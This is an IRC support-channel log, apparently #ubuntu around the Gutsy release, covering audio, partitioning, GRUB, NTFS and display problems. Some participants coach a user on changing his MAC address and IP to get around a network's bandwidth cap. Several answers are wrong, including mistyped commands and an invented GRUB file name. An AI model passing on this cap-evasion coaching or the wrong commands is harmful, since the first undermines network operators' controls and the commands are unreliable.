[03:15] <eXeCuTeR> yay
[03:15] <CyberMad> any help to make a script of restart cupsys ?
[03:15] <Aeroraptor> systemd0wn: true.
[03:15] <sFEARs> and*
[03:15] <chillywilly> they definitely don't look the way they used to
[03:15] <sFEARs> and you have a limit
[03:15] <boontoo> yeah unfortunatly =( and its only 50kbps internet
[03:15] <sFEARs> wtf?
[03:15] <sFEARs> you need a new ISP
[03:15] <Aeroraptor> if you can't release the dhcp address try a static
[03:15] <boontoo> as in 50 KB/s
[03:15] <boontoo> yeah i know
[03:15] <SuperSnout> when downloading a file in firefox, how do i download it to a specific location rather than the desktop?
[03:15] <sFEARs> ipconifg /release
[03:15] <boontoo> unfortunatly theres no phone line into my studio
[03:15] <sFEARs> d;)
[03:16] <bmk789> does KDE keep a log of attempted connections over RDP?
[03:16] <boontoo> cant do that on ubuntu ><
[03:16] <Aeroraptor> sFEARs: if he's at a dorm he has little choice
[03:16] <systemd0wn> so anyone be able to help with some LCD brightness issues on my laptop?
[03:16] <Rich4> where do I go I have trouble with the ubuntu GUI
[03:16] <badkitty> Is anyone else upset that JAPANS broadband is 15 times faster than ours (IN US) yet we pay 15 times as much for it?
[03:16] <Aeroraptor> to see if you're capped with MAC, try another computer, to see about IP, try a new IP
[03:16] <systemd0wn> badkitty, nah, while i was in japan it was way sweet. you didnt hear me complaining :)
[03:16] <bmk789> badkitty: yes but thats off topic
[03:17] <kkathman> in samba - how do you change from ROLE_STANDALONE
[03:17] <Jordan_U> badkitty, https://bugs.launchpad.net/ubuntu/+source/vmware-player/+bug/57957
[03:17] <sFEARs> yup.. troubleshoot steps.. try IP first boontoo.. easy enuf
[03:17] <sFEARs> if that works.. problem solved
[03:17] <badkitty> Thanks Jordan_U
[03:17] <cyzie> hi, i read somewhere that gutsy gibbon make will the harddisk die if not render the hdd unusable much faster. is that true?
[03:17] <sFEARs> if it doesn't.. your proally SOL
[03:17] <respuesta> SuperSnout, all you need to do is click "tools" then "downloads", then "all files download to"
[03:17] <sFEARs> unless you have multiple network cards
[03:17] <Rich4> Can anyone tell me which channel I go to regarding problems with desktop effects?
[03:17] <Jordan_U> badkitty, np, please be polite in the comment despite what I have said :)
[03:18] <badkitty> Jordan_U of course
[03:18] <Jordan_U> Rich4, #compiz-fusion
[03:18] <sFEARs> the desktop effects problem room of course
[03:18] <taz> beagle logs keep filling up my drive.. I can delete the files but it doesn't give me my space back until I reboot.. any way around this?
[03:18] <Rich4> #compiz-fusion
[03:18] <Aeroraptor> sFEARs: or maybe an eeprom reflasher, you could change the address on the card if you knew the interface and how it was written, it's totally easy!
[03:18] <SuperSnout> respuesta: what if i want to download one specific file to a specific place.. i just want to select where to download to before downloading..
[03:18] <Aeroraptor> potentially
[03:18] <sFEARs> yeah.. i have one of those in my pocket
[03:18] <sFEARs> i carry it around with me as a good luck charm
[03:18] <Aeroraptor> teehee
[03:18] <sFEARs> i thought everyone had one d;)
[03:18] <Aeroraptor> a $2k good luck charm
[03:19] <sFEARs> $2k canadian!
[03:19] <respuesta> Sorry SuperSnout.  Not sure about that one.
[03:19] <boontoo> sFEARs: well changing the mac didnt work any other ideas
[03:19] <octathlon8> SuperSnout: right-click, save link as ...
[03:19] <sFEARs> you must have pressed the apple key wrong.. try it again
[03:19] <systemd0wn> anyone. going once, twice.. Needing help with LCD brightness
[03:20] <Aeroraptor> so. who has any idea if there are utilities out there that can open up windows backup files?
[03:20] <sFEARs> system
[03:20] <sFEARs> ummm
[03:20] <sFEARs> what was the config file you asked about again?
[03:20] <Aeroraptor> boontoo: how do you know already that the mac change didn't work
[03:20] <sFEARs> that's proally doubtful Aeroraptor
[03:20] <Aeroraptor> seems like you did that really really fast
[03:20] <taz> how can you empty trash from terminal?
[03:20] <Middleastin> anyone know how to get to my source on ubuntu
[03:20] <Aeroraptor> what is sFEARs, the existance of the utility?
[03:20] <Middleastin> kinda forgot
[03:21] <sFEARs> i'm sure they're out there.. but not well known
[03:21] <Aeroraptor> hmmm, It'll take alot of poking around then
[03:21] <sFEARs> that's microsoft armadillo or whatever
[03:21] <boontoo> Aeroraptor: i turned off the network then changed mac checked it had changed turned it back on checked again that it had changed but my download speed is still capped to 6KB/s
[03:21] <Aeroraptor> how do you know the network is not just really busy at the moment
[03:22] <systemd0wn> aeroraptor, whats the file extension of one of those backup files?
[03:22] <Aeroraptor> or maybe you have a bad cable
[03:22] <Aeroraptor> systemd0wn: .bkp I believe, not sure
[03:22] <sFEARs> i don't think you can just change your MAC address
[03:22] <Aeroraptor> they're on my drive which is upstairs
[03:22] <sFEARs> unless you change your hardware
[03:22] <Aeroraptor> sFEARs: you can for software, but not hardware
[03:22] <Aeroraptor> other than getting a new NIC
[03:22] <sFEARs> gotcha
[03:22] <iud> i'm looking for a mini version of ubuntu that i can remaster, does anybody know of good directions for remastering ubuntu? and what about a mini version of it?
[03:23] <IdleOne> !minimal
[03:23] <ubotu> The Minimal CD image is very small in size, and it downloads most packages from the Internet during installation, allowing you to select only those you want (the installer is like the one on the !Alternate CD). See https://help.ubuntu.com/community/Installation/MinimalCD
[03:23] <sFEARs> and i think you were right assuming his network would catch that
[03:23] <ToddEDM> !btgui
[03:23] <ubotu> Sorry, I don't know anything about btgui - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[03:23] <systemd0wn> aeroraptor, well i was going to do some google'n with ya. let me know if you find the extension for sure.
[03:23] <Aeroraptor> systemd0wn: I'll google right now and see what it is
[03:24] <IdleOne> iud: you can also check out gnewsense
[03:24] <Aeroraptor> .bkf
[03:24] <Aeroraptor> that is what it is
[03:24] <systemd0wn> k
[03:24] <ToddEDM> anyone know how to resume with btgui?
[03:24] <iud> Idle0ne how does gnewsense help me?
[03:24] <IdleOne> iud: honestly not sure
[03:24] <IdleOne> just came to mind
[03:25] <systemd0wn> Aeroraptor, found something that will change it into a tar file :)
[03:25] <boontoo> Aeroraptor: any other ideas?
[03:25] <sFEARs> Aero.. your not talking system restore point right.. your talking the whole backup file?
[03:25] <Aeroraptor> systemd0wn: that works I suppose
[03:25] <Aeroraptor> sFEARs: whole backup file
[03:25] <iud> Idle0ne hehe, i asked about a mini ubuntu and remastering documentation... i don't think gnewsense covers either of those topics, thanks anyway!
[03:25] <Aeroraptor> I have a few, between 6 and 20gb
[03:25] <Aeroraptor> but I have a few 100gb to convert them to
[03:25] <Aeroraptor> so I can do that
[03:25] <IdleOne> !minimal > iud

[04:01] <sandrot> fligg__: even still, any good top tutorials out there?
[04:01] <fligg__> no idea
[04:01] <sandrot> pressing "h" isn't all that helpful
[04:01] <fligg__> `man top`
[04:01] <fligg__> google `top cheatsheet/howto`
[04:02] <Aeroraptor> htop is a pretty awesome application
[04:02] <crdlb> yeah, it's much easier to use
[04:02] <Aeroraptor> makes more sense too
[04:02] <Aeroraptor> and who doesn't love color!
[04:04] <sandrot> I didn't realize htop was still terminal, cool, that means I can use it on my server eh?
[04:05] <noob69> hello everyone

[04:13] <sainry> hexstar: sorry!
[04:13] <hippodog> no one one knows what i said
[04:13] <hippodog> >.>
[04:13] <fujin> may be a little overkill for what you're trying to do.
[04:13] <infidel> all right
[04:13] <rummik> oww
[04:13] <Winball> Fawk, we had such a good time on the other side
[04:13] <fujin> systemd0wn: https://wiki.ubuntu.com/Prevu
[04:13] <Jordan_U> I swear when I hit enter the unsplit hadn't happened yet ;)
[04:13] <Winball> just 300 more
[04:13] <rummik> hippodog: just arrow up
[04:13]  * CaptainMorgan ..
[04:13] <systemd0wn> what were you saying fujin?  thanks im reading it now.

[04:13] <sd32> what happened?
[04:13] <SpeakerMania> lol wow.
[04:13]  * hippodog sighs
[04:13] <fujin> The network just un-split.
[04:13] <hippodog> i guess i need to post everything again
[04:13] <SpeakerMania> noob69, I know! That was crazy.
[04:13] <Jordan_U> !netsplit
[04:13] <ubotu> netsplit is when two IRC servers of the same network (like Freenode) disconnect from each other, so users on one server stop seeing users on the other. If this is happening now, just relax and enjoy the show. See http://en.wikipedia.org/wiki/Netsplit
[04:13] <waterbucket> infidel: the Appearance control panel is a good place to start
[04:13] <hippodog> i'll just wait a few mins
[04:13]  * Zhaozhou sighs
[04:13] <dissection> I don't get audio through the headphone jack on the laptop. It only plays through the speakers. How do I fix that?
[04:13] <Yachi> sudo apt-get alsa
[04:13] <Yachi> alsa-base is already the newest version.
[04:13] <sFEARs> yeah.. alsa base
[04:13] <crimsun> Yachi: do you have linux-backports-modules-$(uname -r) installed?
[04:13] <Yachi> its the newest
[04:13] <sFEARs> ok.. so somewhere in your sound config there's an option for alsa
[04:13] <SpeakerMania> lol
[04:13] <boinker> theres sooo much rooms in these irc chats... how does one go about finding the proper room for a topic he wants to talk about... for instance right now i wanna talk about planets and stars and science of that nature.  and then i wanna know about certain movies and reviews. and then i wanna talk about xbox 360 etc how would u go about finding the proper channel for topics?
[04:13] <rummik> hippodog: this is about the speed it is normally
[04:13] <Yachi> unless its in ubuntu already i doubt it
[04:13] <sFEARs> boinker type /list
[04:13] <hippodog> ok
[04:13] <wewd> hi there, anyone can tell me please how to mount ntfs with read/write?
[04:13] <crimsun> Yachi: then use aptitude/apt-get/dselect/synaptic/adept to install it
[04:13] <waterbucket> boinker: not all of those topics pertain to this network
[04:13] <fujin> boinker: to be honest, this is probably the wrong network for those topics
[04:13] <hippodog> can someone help me with a problem?
[04:13] <crimsun> wewd: see ntfs-3g
[04:13] <fujin> try undernet, or efnet
[04:13] <Yachi> im gettin it
[04:13] <noob69> is everyone back
[04:13] <MasterShrek> !ntfs-3g | wewd
[04:13] <ubotu> wewd: ntfs-3g is a Linux driver which allows read/write access to NTFS partitions. Installation instructions at https://help.ubuntu.com/community/MountingWindowsPartitions
[04:13] <hippodog> im pretty new to ubuntu
[04:13] <Zhaozhou> boinker: #movies, #reviews, #planet_and_stars :D
[04:13] <sFEARs> i can help you with a problem
[04:13] <waterbucket> Is 3g safe?
[04:13] <Jordan_U> crimsun, What is that package for? I had it installed after upgrading to Gutsy ( never chose to install it ) and my sound card didn't work untill I removed it
[04:13] <hippodog> i just installed it a few weeks back
[04:13] <crimsun> Yachi: you'll likely need to reboot to test the new driver.
[04:13] <wewd> thanks i'll take a look
[04:13] <wewd> :)
[04:14] <sFEARs> how does 1+1=3
[04:14] <MasterShrek> waterbucket yes
[04:14] <Yachi> :(
[04:14] <hippodog> and i start it up today
[04:14] <sFEARs> it doesn't
[04:14] <waterbucket> Totally safe?
[04:14] <sFEARs> unless she's pregnant
[04:14] <Zhaozhou> back to ubontus ordinary spam.
[04:14] <hippodog> and i see that my resolution is messed up
[04:14] <crimsun> Jordan_U: it backports ALSA 1.0.15rc3
[04:14] <sFEARs> in which case she needs to get that taken care of
[04:14] <sFEARs> becuase it should really only =2
[04:14] <boinker> sorry i was disconnected
[04:14] <noob69> can anyone help me with Ubuntu server question
[04:14] <sFEARs> there.. consider yourself helped
[04:14] <Zhaozhou> I pity those who log this channel, really.
[04:14] <hippodog> and i think this chat is going too fast for anyone to be able to make out what im saying >.>
[04:14] <Winball> Guys,try using nicknames when you talk. Im in BitchX and this windows is so tiny B<
[04:14] <hippodog> ah well
[04:14] <MasterShrek> !ask | noob69
[04:14] <ubotu> noob69: Don't ask to ask a question. Just ask your question :)
[04:14] <Jordan_U> crimsun, Do you think it is worth filing a bug?
[04:14] <elkbuntu> sFEARs, what does this have to do with ubuntu support?
[04:14] <rummik> hippodog: just stick around, i'll help to get help
[04:15] <sFEARs> who said anything about ubuntu support
[04:15] <hippodog> thanks rummik ^^
[04:15] <olskolirc> hello.  what is that utility called where you can adjust your display size?  It's a gui.
[04:15] <sFEARs> i was just helping with a problem
[04:15] <noob69> ok, here I go, I need to install the gnome interface for the Ubuntu server
[04:15] <Jordan_U> !enter | hippodog
[04:15] <ubotu> hippodog: Please try to keep your questions/responses on one line - don't use the "Enter" key as punctuation!
[04:15] <elkbuntu> sFEARs, that's what this channel is for. other talk should happen elsewhere
[04:15] <dissection> I don't get audio through the headphone jack on the laptop. It only plays through the speakers. How do I fix that?
[04:15] <noob69> i don't know how to install it
[04:15] <MasterShrek> noob69 sudo apt-get install ubuntu-desktop
[04:15] <olskolirc> I need to download it.  I don't see it on gibson and my display is small like 1024x768
[04:15] <waterbucket> dissection: the ALSA answer pertained to you
[04:15] <waterbucket> scroll up
[04:15] <Extravert> how do I compile with mingw32?
[04:15] <sFEARs> sudo apt-get ubuntu-desktop
[04:15] <rummik> hippodog: to begin with, highlight is a very useful thing in here...once you get help, you have to highlight them with every line, otherwise they might miss something
[04:15] <hippodog> Sorry ubutu. It's a bad habbit.
[04:15] <systemd0wn> fujin, prevu doesnt really say what is required to build a package. do i need the make files? configure files?
[04:15] <hippodog> ubotu*
[04:15] <fujin> uhrmg
[04:16] <emma> my complaint about ubuntu is that it's been so easy to use, and nothing ever goes wrong, therefore I never have any problems and there's no opportunity to learn anything.
[04:16] <Aeroraptor> wow it got busy in here fast
[04:16] <fujin> systemd0wn: what are you trying to build?
[04:16] <MasterShrek> hippodog ubotu is a bot, no use apologizing to it =P
[04:16] <waterbucket> Aeroraptor: split ended
[04:16] <Jordan_U> olskolirc, System -> Administration -> Screens and Graphics, but I would bet your problem is with drivers rather than configuration
[04:16] <Aeroraptor> waterbucket: well yeah
[04:16] <boinker> i know there are alot of servers and such.   a ton of them with a ton of channels.  and exactly how is irc organized? its pretty confusing..is there a way to find out
[04:16] <sFEARs> hahah.. classic
[04:16] <hippodog> oh. heh. i'm smart
[04:16] <scentia> I just wonder when net splet, people don't see each server, shall they continue their conversation with their own servers
[04:16] <sFEARs> split ended
[04:16] <Zhaozhou> wow.
[04:16] <tonyduke> firefox download stopped without finishing it's job, anyone knows why?
[04:16] <Aeroraptor> but I didn't think everyone would starting talking all at once
[04:16] <Zhaozhou> wow, wow, wow.
[04:16] <Aeroraptor> very chattery
[04:16] <sFEARs> it's like a bad blonde joke
[04:16] <noob69> will try that switching terminal
[04:16] <dissection> waterbucket, where, I can't find it between all this text if you don't use my nick.
[04:16] <waterbucket> boinker: IRC isn't organized
[04:16] <boinker> i see
[04:16] <Extravert> how do I compile with mingw32?
[04:16] <Peddy> Could someone please give me a hand with resizing '/' ?
[04:16] <waterbucket> dissection: search and install alsa package
[04:16] <Zhaozhou> sFEARs: true.
[04:17] <systemd0wn> fujin, http://laytongraphics.com/mtf/
[04:17] <rummik> Aeroraptor: the amount of people who are speaking is only a small fraction of how many people are in here
[04:17] <boinker> well thank u waterbucket
[04:17] <Peddy> I have run out of space :'(
[04:17] <Aeroraptor> rummik: so true
[04:17] <hippodog> rummik, do you know anyone who is good with helping problems? other than yourself, lol.
[04:17] <waterbucket> boinker: IRC is just a technology like FTP
[04:17] <sd32> phew, back on ubuntu, was on kubuntu but i feel the configuration and repair on kubuntu is a nightmare.
[04:17] <Peddy> in '/'
[04:17] <waterbucket> boinker: there is no organizational structure to it
[04:17] <waterbucket> because it's not a "thing"
[04:17] <Zhaozhou> waterbucket: protocol.
[04:17] <squid808> hi there.
[04:17] <Aeroraptor> IRC is alot more like talk than FTP
[04:17] <rummik> hippodog: not really, we just have to keep saying what the problem is to get help
[04:17] <hippodog> ok
[04:17] <Peddy> Hello squid808
[04:18] <dissection> waterbucket: alsa-utils?
[04:18] <Aeroraptor> it was actaully created so that talk could would with more people
[04:18] <squid808> anyone who might be able to help with some grub issues?
[04:18] <sFEARs> proally created by xerox
[04:18] <Peddy> Can somebody please help me with resizing a partition??
[04:18] <MasterShrek> squid808 ask your question and someone may help
[04:18] <Zhaozhou> Peddy: fdisk?
[04:18] <waterbucket> Peddy: boot from a livecd and use gparted
[04:18] <waterbucket> easier
[04:18] <systemd0wn> peddy, try gparted
[04:18] <olskolirc> Jordan_U, I don't have that path
[04:18] <Zhaozhou> !ask > Peddy
[04:18] <Peddy> waterbucket: Have tried, need more help
[04:18] <waterbucket> Peddy: right-click a partition and choose resize
[04:18] <iud> whatever happened to the "ubuntu remaster edition"?
[04:19] <Jordan_U> olskolirc, Are you running Ubuntu 7.10 ?
[04:19] <fujin> systemd0wn: extract the tar, cd to the directory and run 'prevu', obviously after running prevu-init first
[04:19] <boinker> everytime i type /list in this chat box the program crashes.  is that normal? or am i suppose to type /list somewhere else sorry for the stupid questions this is my first time using irc
[04:19] <olskolirc> Jordan_U, yes
[04:19] <Peddy> basically, I have lots of unallocated space, but cannot resize /
[04:19] <dissection> waterbucket: Is it alsa-utils?
[04:19] <olskolirc> I upgraded
[04:19] <sFEARs> well.. that command bring up a lot of info boinker
[04:19] <squid808> mainly, i think i accidentally installed my GRUB to my slave drive rather than my master; thus my GRUB is on one drive and my windows/ubuntu partitions are on the other. is there any way to move the grub to the master without reinstalling one/both OSes?
[04:19] <Jordan_U> iud, If you mean "ultimate edition" it still exists, as hacked up and dangerous as ever
[04:19] <sFEARs> brings* up a lot of info
[04:19] <Peddy> I cannot resize the '/' partition
[04:19] <systemd0wn> fujin, aight im going to download prevu and get started. thanks!
[04:19] <Jordan_U> iud, Don't install it
[04:19] <MasterShrek> !grub | squid808
[04:19] <ubotu> squid808: grub is the default Ubuntu boot manager. Lost grub after installing windows: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows - Making GRUB floppies & other GRUB howtos: https://help.ubuntu.com/community/GrubHowto
[04:19] <sFEARs> umm.. how fast is your computer and or internet connection
[04:19] <Zhaozhou> Peddy: if you have alot of unallocated space, why resize?
[04:19] <Aeroraptor> boinker: yes, /list lists all the channels on a network, there are thousands on freenode, this your client can't take it and crashes
[04:19] <squid808> !grub
[04:19] <Peddy> Because '/' is out of space
[04:19] <boinker> oh i see
[04:20] <sFEARs> sometimes the server will disconnect you on a /list command because it lags the server if your connection is slow
[04:20] <waterbucket> Peddy: you should be able to resize it
[04:20] <Zhaozhou> Peddy: oh.
[04:20] <boinker> im using gnomes xchat
[04:20] <Jordan_U> olskolirc, Do you have the package "ubuntu-desktop" installed?
[04:20] <Peddy> And I need to allocate the unallocated to /
[04:20] <boinker> does it suck
[04:20] <boinker> or is there a better more stronger version
[04:20] <Aeroraptor> boinker: no, that's what I use too
[04:20] <boinker> ok thank u aero
[04:20] <Aeroraptor> xchat is one of the best clients out there
[04:20] <Jordan_U> olskolirc, And you are using Gnome, not KDE ( kubuntu ), right?
[04:20] <Zhaozhou> Peddy: okay, do you have any else then /?
[04:20] <waterbucket> boinker: try uninstalling it and reinstalling it
[04:20] <sFEARs> the /list command shows all the available rooms on a specific server
[04:20] <boinker> oh alright cool
[04:20] <Peddy> Zhaozhaou: I have tried and it works
[04:20] <boinker> well i have google earth running along with the instant messneger
[04:20] <olskolirc> Jordan_U, I'm using ubuntu not kubuntu - kde
[04:20] <boinker> its probably all of that
[04:20] <sFEARs> boinker.. are you using an old computer?
[04:20] <Peddy> with other partitions
[04:20] <boinker> im new to ubuntu
[04:20] <Zhaozhou> Peddy: ops. Do you have any other partitions&
[04:21] <boinker> and im loving the OS
[04:21] <Aeroraptor> sFEARs: the problem is not with the computer or client
[04:21] <Aeroraptor> it happens on all
[04:21] <Peddy> Zhaozhou: yes I do
[04:21] <sFEARs> ok..
[04:21] <Zhaozhou> Peddy: other then swap?
[04:21] <Jordan_U> olskolirc, And ubuntu-desktop is installed?
[04:21] <boinker> iim amazed at all the programs and convience of the os and how easy it is to install stuff
[04:21] <Aeroraptor> its just that there are too many networks on freenode to list them all without you getting cut
[04:21] <iud> Jordan_U no, i was reading on forums that an edition of ubuntu with remastering software was going to come out after fiesty
[04:21] <olskolirc> Jordan_U, yes
[04:21] <dissection> waterbucket: Is it alsa-utils?
[04:21] <Peddy> Zhaozhou: Yes, home drive etc. on different partitions
[04:21] <boinker> i see aero
[04:21] <Jordan_U> olskolirc, Strange
[04:21] <Peddy> Zhaozhou: I think '/' is not on a logical partition

[04:22] <sFEARs> i'm showing 3680 rooms
[04:22] <dissection> What do I need to install to get my headphone jack to work?
[04:22] <Jordan_U> iud, You are probably thinking of Fedora
[04:22] <Zhaozhou> Peddy: and grub still works. Cool.
[04:22] <Peddy> Zhaozhou: what??
[04:22] <iud> Jordan_U no, hehe. ubuntu forums.
[04:22] <sFEARs> dissection.. your headphone jack should just work
[04:22] <Peddy> Zhaozhou: oh right
[04:22] <Ashfire> can i run (with X11 forwarding in ssh) a program like gproftpd without the Xorg server installed on the host i'm connecting to?
[04:22] <sFEARs> if it doesn't sounds like it's a hardware problem
[04:22] <dissection> sFEARs: Well, it doesn't
[04:22] <Jordan_U> Ashfire, Yes
[04:23] <Peddy> Zhaozhou: Any idea what happened?
[04:23] <Zhaozhou> Peddy: nvm. Anyway, i dont know gparted / qtparted, so no help here.
[04:23] <sFEARs> then i would say you need a new sound card
[04:23] <Ashfire> Jordan_U, how
[04:23] <sFEARs> or you need to turn the volume up in your sound control panel
[04:23] <Peddy> Zhaozhou: Thanks for your help :)
[04:23] <iud> I want to announce that after Feisty is final and the medical edition is out we will be producing a remaster edition made for people who wish to create thier own remaster of Ubuntu either for personal use or to produce a distribution. It will have some tools preinstalled that are necessary to create a remaster such as remastersys. It will also be reduced in size in comparison to the official Ubuntu Feisty release.
[04:23] <iud>  
[04:23] <dissection> sFEARs: Thanks for the solution
[04:23] <Kl4m> sFEARs, dissection: the sound works on the headphones but not speakers on a laptop at work
[04:23] <Extravert> how do I compile with mingw32?
[04:23] <iud> Jordan_U the above is what i read
[04:23] <Peddy> I need help resizing a partition in Ubuntu. Can anyone help?
[04:23] <Zhaozhou> Peddy: np, i guess, even if i didnt really help you. (:
[04:24] <hippodog> I have a semi major problem. I start up ubuntu today only to find out that my resolution is messed up. Everything was all big and blurry. So I check my resolution setting and it's at 1400 x 1050 like it's supposed to be. So I was thinking "wtf". It looked like it was around 800 x 600. Then I tried switching to a lower resolution. But those ones looked fine. I tried searching around to see if anyone else had this problem, but I didn
[04:24] <hippodog> 't find anything. So, I tried restarting my computer. And now it wont go higher than 640 x 480. Which is terrible. I am typing this at that resolution. I have no idea how to fix this problem. I think this may have been caused from some updates that happeded last night, but I don't remember what they were. Today when I had my problems was the first time I started my computer since the updates happened yesterday, so I'm almost positi
[04:24] <hippodog> ve that is what caused it. I had a similar problem a few weeks back shorty after i first installed ubuntu. but then i could just reinstall it. now i have to many valuable things on here to reinstall, so that is not an option. if anyone could help, that would be great.
[04:24] <systemd0wn> peddy, what was the problem with gparted?
[04:24] <usr13> tonyduke: If you have a large file, you'd be better off to use wget
[04:25] <dissection> hippodog, that happened to me too. I disabled the nVidia driver, and then enabled it again, and it worked
[04:25] <usr13> tonyduke:  wget -c     See man wget
[04:25] <hippodog> ok, i will try that. thank you dissection
[04:25] <badkitty> I missed something... what about the nvidia driver?
[04:25] <sFEARs> yup.. has to do with your video driver hippodog
[04:25] <iud> Jordan :( his last post was May, and the thing about a remaster edition was April the month before
[04:25] <ode> hi all:   is it possible to install the broadcom 43xx driver for gutsy without having internet on the comp? I can download anything on this one and transfer it on a usb stick
[04:25] <boinker> i hope someone makes stellarium a bit like google earth where u get info about planets and stars and visuals because this program is visually beautiful and it aligns perfect from where ur terminal is standing in terms of visuals and how it works in real time its the best only thing missing is a small search engine to make it perfect... where u coudl actually get data about stuff and pics
[04:26] <sFEARs> ode.. i would say yes.. you can do that.. but you proally have to compile it on the computer that's not connected to the net
[04:26] <tonyduke> i just wanna a 10mega-sized file, :( ,usr13
[04:26] <Peddy> systemd0wn: I can't resize '/'. Even though I have unallocated space left.
[04:26] <sFEARs> and if you don't have the build-essentials package already downlodaed you may be SOL
[04:26] <tonyduke> is it too large?
[04:26] <waterbucket> Peddy: is the unallocated space IMMEDIATELY ADJACENT to /?
[04:26] <boinker> i never seen a beautiful program as stellarium and i hope ubuntu or someone incorpates something of that nature in the future
[04:26] <systemd0wn> peddy, whats it say?  Does it give any sort of error?
[04:26] <Peddy> waterbucket: nope, how do I move it?
[04:26] <usr13> tonyduke: I gave you advise, you can take it or leave it....
[04:26] <Ashfire> Jordan_U, how do i run a graghical program without the xorg server?
[04:27] <ode> sfears. ok.   I am going to try something... might be right back..
[04:27] <waterbucket> Peddy: THAT is the problem :)
[04:27] <waterbucket> Peddy: partitions must be contiguous
[04:27] <tonyduke> thanks, man.
[04:27] <Peddy> systemd0wn: it just slows the slider is at the max it can be
[04:27] <iud> i think the gov. is out to get all the free software folks. first they took reiser, now they took this guy i don't even know... err
[04:27] <waterbucket> Peddy: move other partitions out of the way into the unalloc. space
[04:27] <Peddy> systemd0wn: the resize one
[04:27] <waterbucket> Peddy: then increase the size of /
[04:27] <hippodog> ok, im going to restart my computer now. lets hope this works
[04:27] <hippodog> thanks for the help
[04:27] <Peddy> waterbucket: how do i move them?
[04:27] <waterbucket> Right-click on them
[04:27] <waterbucket> start with the one adjacent to the unused space and move it out of the way
[04:28] <Pulshion> hi, could someone help me with getting my x850 to work in gutsy, i followed the guide and i still get mesa
[04:28] <Peddy> waterbucket: how do I move it?
[04:28] <squid808> ok, reading about moving the grub, it says "To find where /boot is, use 'df: df /boot'", i entered that in the terminal and command not found, what do i do with that?
[04:28] <Ashfire> Jordan_U?
[04:29] <boinker> oh i have a small problem.  i have a sata hard drive that i just installed and grub doesnt give me an option to load into it.. i downloaded ntfs configuration tool and ubuntu detects it and im able to write to it but i dont get an option to boot into it in grub any suggestions?
[04:29] <waterbucket> Peddy: http://gparted.sourceforge.net/larry/move/move.htm
[04:29] <hanasakiRemote> what package can I install and run that will let me install to a external drive like the desktop cd
[04:29] <hanasakiRemote> ?
[04:29] <Peddy> waterbucket: when I right-click, and click on move/resize, it comes up with resize
[04:29] <Peddy> ok
[04:29] <waterbucket> boinker: you can't boot into just anything
[04:29] <Peddy> I'll check out that link
[04:29] <nazeer> Hi, can someone help me out with configuring sound on Dell 1520 and Gutsy
[04:29] <boinker> i see
[04:29] <waterbucket> boinker: What are you trying to do?
[04:29] <boinker>  well how would i go about getting grub to detect to load it
[04:29] <nazeer> I just upgraded from to Gutsy and the sound doesn't work now
[04:29] <waterbucket> boinker: You want to add Windows to GRUB?
[04:29] <boinker> i just wanna dual boot u can say
[04:29] <usrl> hanasakiRemote: I'm pretty sure the live CD can install to external drives
[04:29] <boinker> yeah
[04:30] <waterbucket> boinker: google ubuntu windows dual-boot tutorial
[04:30] <usrl> hanasakiRemote: as long as they're mounted
[04:30] <sFEARs> do you have an OS loaded on that other drive?
[04:30] <boinker> ok thank u
[04:30] <sFEARs> boinker?
[04:30] <badkitty> boinker
[04:30] <boinker> yeah i do
[04:30] <boinker> its loaded
[04:30] <hanasakiRemote> usrl:  yes it can.. but I cannot reboot.. need a package to run inside my running ubuntu now
[04:30] <usr13> boinker: man grub
[04:30] <boinker> its installed
[04:30] <sFEARs> mabey edit your boot.ls file
[04:30] <sFEARs> or boot.cnfg
[04:30] <boinker> man grub?
[04:30] <sFEARs> grub/boot.cnfg mabey
[04:30] <boinker> i see
[04:30] <sFEARs> something like that
[04:31] <badkitty> boinker: If you have windows installed already, then install ubuntu, you should have a dual boot system easy as pie
[04:31] <boinker> ok ima see into that
[04:31] <MasterShrek> its /boot/grub/menu.lst
[04:31] <usrl> hanasakiRemote: why do you need a remote? I'm pretty sure there's tutorials out there, did you try google?
[04:31] <sFEARs> that's it
[04:31] <boinker> yeah i dont wanna reinstall ubuntu though
[04:31] <tonyduke> anyone here is familiar with amule ?
[04:31] <Peddy> waterbucket: do I have to copy and paste the partition? just the / one?
[04:31] <badkitty> boinker: vmware????
[04:31] <hanasakiRemote> usrl: remote?  yes of course I searhced
[04:31] <boinker> aaah naaah badkitty
[04:31] <boinker> i need certain programs
[04:31] <boinker> like zbrush and maya (3d software)
[04:31] <waterbucket> Peddy: did you see what I linked?
[04:31] <badkitty> boinker: that can't run in vmware?????
[04:31] <systemd0wn> fujin, ran prevu inside the directory but i dont think it worked
[04:32] <MasterShrek> maya wont
[04:32] <boinker> i dont think so i would think they would be too heavy
[04:32] <Peddy> yes. It copies it onto another drive.
[04:32] <MasterShrek> boinker tried blender?
[04:32] <boinker> it could work
[04:32] <boinker> yeah master its good
[04:32] <Pulshion> hi, could someone please help me getting my ati x850 to work in gutsy, it used to work, but now it doesnt work after reinstalling gutsy, i followed the same guide but not i get mesa
[04:32] <boinker> but tangent normal mapping isnt supported yet
[04:32] <mwright1> hi
[04:32] <badkitty> MasterShrek.. good point anything graphic instensive may pose a problem
[04:32] <Peddy> waterbucket: Even though '/' appears below unallocated space, I'm gonna try a live cd
[04:32] <MasterShrek> boinker maya wont run in vbox, i can almost guarentee it, youll have better luck using wine
[04:32] <mwright1> is there a simple to use incremental differential backup program with a pretty gui -- a bit like rsnapshot.org
[04:33] <Peddy> waterbucket: didn't work before
[04:33] <waterbucket> Peddy: you should only do this from a livecd
[04:33] <mwright1> anyone know of such a thing?
[04:33] <waterbucket> Peddy: don't resize partitions in use
[04:33] <usrl> hanasakiRemote: sorry, meant to say package. I've gotten used to lowering my brain power when I'm around stupid people so I don't flip out and kill them-- same thing happens when my computer slows down now. My computer slows down, so do I. Anyway, doesn't the tutorial explain it?
[04:33] <Peddy> waterbucket: I know lol
[04:33] <usr13> boinker: What do you have on the drive you've just installed?
[04:33] <Extravert> how do I compile with mingw
[04:33] <boinker> i see master i would think that program wouldnt work too well being that its soooo intense on processor and such
[04:33] <tonyduke> anyone here could run compiz with twin monitors and ATI 1600 card?
[04:33] <Peddy> waterbucket: thanks for the help
[04:33] <Peddy> :)
[04:33] <Pulshion> hi, could someone please help me getting my ati x850 to work in gutsy, it used to work, but now it doesnt work after reinstalling gutsy, i followed the same guide but now i get mesa
[04:33] <boinker> i have 2 hard drives one with ubuntu and one with windows i installed ubuntu without windows hard drive installed on pc
[04:33] <boinker> and now i just plugged it in
[04:34] <boinker> but grub doesnt detect it
[04:34] <sFEARs> grub doesn't detect.. grub points to
